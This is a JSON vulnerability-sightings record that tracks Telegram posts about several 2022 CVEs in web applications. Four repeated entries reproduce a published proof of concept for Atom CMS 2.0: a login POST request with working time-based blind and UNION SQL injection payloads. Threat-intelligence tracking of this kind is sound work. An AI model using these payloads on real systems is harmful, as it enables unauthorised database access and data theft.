{"vulnerability": "cve-2022-2422", "sightings": [{"uuid": "30b3c5c4-7649-46ac-8d52-5248de6638ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24227", "type": "seen", "source": "https://t.me/ctinow/157641", "content": "https://ift.tt/P0z5Zde\nCVE-2022-24227 Exploit", "creation_timestamp": "2023-12-21T12:18:56.000000Z"}, {"uuid": "810aee72-00cb-4b79-8048-f45038f1ca1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24229", "type": "seen", "source": "https://t.me/cibsecurity/40378", "content": "\u203c CVE-2022-24229 \u203c\n\nA cross-site scripting (XSS) vulnerability in ONLYOFFICE Document Server Example before v7.0.0 allows remote attackers inject arbitrary HTML or JavaScript through /example/editor.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-08T16:38:06.000000Z"}, {"uuid": "49d24181-71ca-423b-a0e5-ed2fca3019d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24226", "type": "seen", "source": "https://t.me/cibsecurity/37499", "content": "\u203c CVE-2022-24226 \u203c\n\nHospital Management System v4.0 was discovered to contain a blind SQL injection vulnerability via the register function in func2.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-15T18:34:34.000000Z"}, {"uuid": "addf6e4c-abd0-4160-9993-5580d779e94a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24227", "type": "seen", "source": "https://t.me/cibsecurity/37498", "content": "\u203c CVE-2022-24227 \u203c\n\nA cross-site scripting (XSS) vulnerability in BoltWire v7.10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the name and lastname parameters.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-15T18:34:33.000000Z"}, {"uuid": "099d1fc9-af22-4cdc-a222-52b3642f8365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24222", "type": "seen", "source": "https://t.me/cibsecurity/36661", "content": "\u203c CVE-2022-24222 \u203c\n\neliteCMS v1.0 was discovered to contain a SQL injection vulnerability via /admin/edit_user.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T22:26:49.000000Z"}, {"uuid": "00b694b8-8c34-46ef-9916-792c219df913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24223", "type": "seen", "source": "https://t.me/cibsecurity/36660", "content": "\u203c CVE-2022-24223 \u203c\n\nAtomCMS v2.0 was discovered to contain a SQL injection vulnerability via /admin/login.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T22:26:48.000000Z"}, {"uuid": "83f0b8ba-52fc-4316-9556-f9f11442dd3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24220", "type": "seen", "source": "https://t.me/cibsecurity/36657", "content": "\u203c CVE-2022-24220 \u203c\n\neliteCMS v1.0 was discovered to contain a SQL injection vulnerability via /admin/edit_post.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T22:26:44.000000Z"}, {"uuid": "3f766a2b-cd10-4943-87b2-346892b2a82a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24221", "type": "seen", "source": "https://t.me/cibsecurity/36664", "content": "\u203c CVE-2022-24221 \u203c\n\neliteCMS v1.0 was discovered to contain a SQL injection vulnerability via /admin/functions/functions.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-02-01T22:26:54.000000Z"}, {"uuid": "bbfefed7-b298-4c56-8dae-8afa31238d18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24223", "type": "seen", "source": "https://t.me/hacking_Attack/42235", "content": "Exploit Collector\nAtom CMS 2.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nAtom CMS version 2.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | da443d2658775c9482ec46f79fccada9\n\nDownload\n# Exploit Title: AtomCMS v2.0 - SQLi\n# Date: 08/02/2022\n# Exploit Author: Luca Cuzzolin aka czz78\n# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS\n# Version: v2.0\n# Category: Webapps\n# Tested on: Debian linux\n# CVE : CVE-2022-24223\n====================================================\n\n# PoC : SQLi :\n\nhttp://127.0.0.1/Atom.CMS/admin/login.php\nPOST /Atom.CMS/admin/login.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101\nFirefox/91.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: it,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\nOrigin: http://127.0.0.1\nConnection: keep-alive\nReferer: http://127.0.0.1/Atom.CMS/admin/login.php\nCookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nemail=test%40test.com&password=1234\nVulnerable Payload :\n\nParameter: email (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: email=test@test.com' AND (SELECT 5613 FROM\n(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234\nVector: AND (SELECT [RANDNUM] FROM\n(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 6 columns\nPayload: email=test@test.com' UNION ALL SELECT\nNULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--\n-&password=1234\nVector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -\n---\n====================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:56.402000Z"}, {"uuid": "ff18b411-b882-4dca-bfff-f9fd5f971e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24223", "type": "seen", "source": "https://t.me/hacking_Attack/42235", "content": "Exploit Collector\nAtom CMS 2.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nAtom CMS version 2.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | da443d2658775c9482ec46f79fccada9\n\nDownload\n# Exploit Title: AtomCMS v2.0 - SQLi\n# Date: 08/02/2022\n# Exploit Author: Luca Cuzzolin aka czz78\n# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS\n# Version: v2.0\n# Category: Webapps\n# Tested on: Debian linux\n# CVE : CVE-2022-24223\n====================================================\n\n# PoC : SQLi :\n\nhttp://127.0.0.1/Atom.CMS/admin/login.php\nPOST /Atom.CMS/admin/login.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101\nFirefox/91.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: it,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\nOrigin: http://127.0.0.1\nConnection: keep-alive\nReferer: http://127.0.0.1/Atom.CMS/admin/login.php\nCookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nemail=test%40test.com&password=1234\nVulnerable Payload :\n\nParameter: email (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: email=test@test.com' AND (SELECT 5613 FROM\n(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234\nVector: AND (SELECT [RANDNUM] FROM\n(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 6 columns\nPayload: email=test@test.com' UNION ALL SELECT\nNULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--\n-&password=1234\nVector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -\n---\n====================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:16.694485Z"}, {"uuid": "dc49d93b-b8a6-4db2-863b-ffef8fc552a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24223", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42235", "content": "Exploit Collector\nAtom CMS 2.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nAtom CMS version 2.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | da443d2658775c9482ec46f79fccada9\n\nDownload\n# Exploit Title: AtomCMS v2.0 - SQLi\n# Date: 08/02/2022\n# Exploit Author: Luca Cuzzolin aka czz78\n# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS\n# Version: v2.0\n# Category: Webapps\n# Tested on: Debian linux\n# CVE : CVE-2022-24223\n====================================================\n\n# PoC : SQLi :\n\nhttp://127.0.0.1/Atom.CMS/admin/login.php\nPOST /Atom.CMS/admin/login.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101\nFirefox/91.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: it,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\nOrigin: http://127.0.0.1\nConnection: keep-alive\nReferer: http://127.0.0.1/Atom.CMS/admin/login.php\nCookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nemail=test%40test.com&password=1234\nVulnerable Payload :\n\nParameter: email (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: email=test@test.com' AND (SELECT 5613 FROM\n(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234\nVector: AND (SELECT [RANDNUM] FROM\n(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 6 columns\nPayload: email=test@test.com' UNION ALL SELECT\nNULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--\n-&password=1234\nVector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -\n---\n====================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T10:00:06.614729Z"}, {"uuid": "63ed712e-1156-4076-b5d3-69e9a4d52fd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24223", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42235", "content": "Exploit Collector\nAtom CMS 2.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nAtom CMS version 2.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | da443d2658775c9482ec46f79fccada9\n\nDownload\n# Exploit Title: AtomCMS v2.0 - SQLi\n# Date: 08/02/2022\n# Exploit Author: Luca Cuzzolin aka czz78\n# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS\n# Version: v2.0\n# Category: Webapps\n# Tested on: Debian linux\n# CVE : CVE-2022-24223\n====================================================\n\n# PoC : SQLi :\n\nhttp://127.0.0.1/Atom.CMS/admin/login.php\nPOST /Atom.CMS/admin/login.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101\nFirefox/91.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: it,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\nOrigin: http://127.0.0.1\nConnection: keep-alive\nReferer: http://127.0.0.1/Atom.CMS/admin/login.php\nCookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nemail=test%40test.com&password=1234\nVulnerable Payload :\n\nParameter: email (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: email=test@test.com' AND (SELECT 5613 FROM\n(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234\nVector: AND (SELECT [RANDNUM] FROM\n(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 6 columns\nPayload: email=test@test.com' UNION ALL SELECT\nNULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--\n-&password=1234\nVector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -\n---\n====================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:24.231078Z"}]}